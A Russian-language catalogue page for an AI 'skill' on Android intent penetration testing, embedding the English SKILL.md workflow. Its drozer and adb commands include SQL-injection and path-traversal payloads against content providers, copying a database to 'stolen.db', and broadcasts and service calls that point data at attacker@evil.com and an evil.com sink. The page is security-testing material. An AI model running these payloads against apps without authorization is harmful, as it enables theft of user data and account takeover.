Перейти к содержанию
Skillpedia
Тестирование35k · #8376

testing-android-intents-for-vulnerabilities

Что он делает

Этот инструмент проверяет, есть ли в Android-приложении уязвимости, которые позволяют другим приложениям получать информацию или выполнять нежелательные действия. Он тестирует, как приложения взаимодействуют друг с другом.

Когда использовать

  • ✓Когда вы тестируете безопасность Android-приложения.
  • ✓Когда есть подозрение, что приложение может утекать данные.
  • ✓Когда нужно проверить, может ли вредоносное приложение управлять другим приложением.

Ссылка на скилл

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md

Скопируйте и вставьте её в ваш ИИ (Claude, ChatGPT или Cursor) с просьбой следовать инструкциям.

Как использовать

Самый простой способ: скопируйте сообщение и вставьте его в свой ИИ. Он прочитает скилл и выполнит инструкции.

Готовое сообщение для вставки

Используй этот скилл, чтобы помочь мне: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md Прочитай файл SKILL.md по этой ссылке и следуй его инструкциям в моей задаче.
Хотите, чтобы ваш ИИ сам находил такие скиллы?Установите бесплатный MCP Skillpedia: одна строка, и перед каждой задачей он ищет среди 15 000+ скиллов.Установить за 1 минуту →

Пример запроса к вашему ИИ

“Проверь, есть ли у приложения 'MyAwesomeApp' уязвимости во взаимодействии между приложениями.”

5 новых скиллов в неделю. 1 минута чтения.

Как это работает

Инструмент использует другие утилиты, чтобы изучить части приложения, доступные другим приложениям. Он отправляет команды и проверяет, не утекают ли данные и нет ли несанкционированного доступа.

Технический текст (оригинальный SKILL.md)

Оригинальный текст автора на английском, прямо с GitHub.

Testing Android Intents for Vulnerabilities

When to Use

Use this skill when:

  • Assessing Android app exported activities, services, receivers, and content providers
  • Testing for intent injection and unauthorized component invocation
  • Evaluating broadcast receiver security for sensitive data exposure
  • Performing IPC-focused penetration testing on Android applications

Do not use on production devices without explicit authorization.

Prerequisites

  • Rooted Android device or emulator with ADB
  • Drozer agent installed on target device (drozer agent.apk)
  • Drozer console on host (pip install drozer)
  • Target APK decompiled with apktool for AndroidManifest.xml analysis
  • Frida for runtime intent monitoring

Workflow

Step 1: Enumerate Exported Components

# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app

# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported

# List exported activities
run app.activity.info -a com.target.app

# List exported services
run app.service.info -a com.target.app

# List exported receivers
run app.broadcast.info -a com.target.app

# List content providers
run app.provider.info -a com.target.app

Step 2: Test Exported Activities

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity

# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337

# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app

# If admin activity opens without auth, report as authorization bypass

Step 3: Test Broadcast Receivers

# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"

# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN

# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

Step 4: Test Content Providers

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"

# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"

# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db

# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

Step 5: Test Pending Intent Vulnerabilities

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");

    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);

            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

Step 6: Test Service Binding

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"

run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

Key Concepts

Term Definition
Exported Component Android component (activity/service/receiver/provider) accessible to other apps on the device

…

Частые вопросы

Что такое Intents?

Intents (намерения) это сообщения, которые одно приложение отправляет другому с просьбой что-то сделать или передать информацию.

Что означает «экспортируемый компонент»?

Это часть приложения, к которой могут обращаться и которую могут использовать другие приложения на телефоне.

Нужно ли быть экспертом, чтобы пользоваться этим?

Быть программистом не обязательно, но полезно базово понимать, как устроены Android-приложения, и уметь работать с инструментами командной строки.

Подробности

Оригинальное описание автора

Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android

repo: mukul975/Anthropic-Cybersecurity-Skills

Популярность

Звёзды на GitHub
35k
Место в рейтинге
#8376
Лицензия
Apache-2.0
Обновлён
31.08.2026

Полезен ли этот скилл?

0

Войдите , чтобы голосовать.

Комментарии

  • …

Другие скиллы из этого репозитория

Похожие скиллы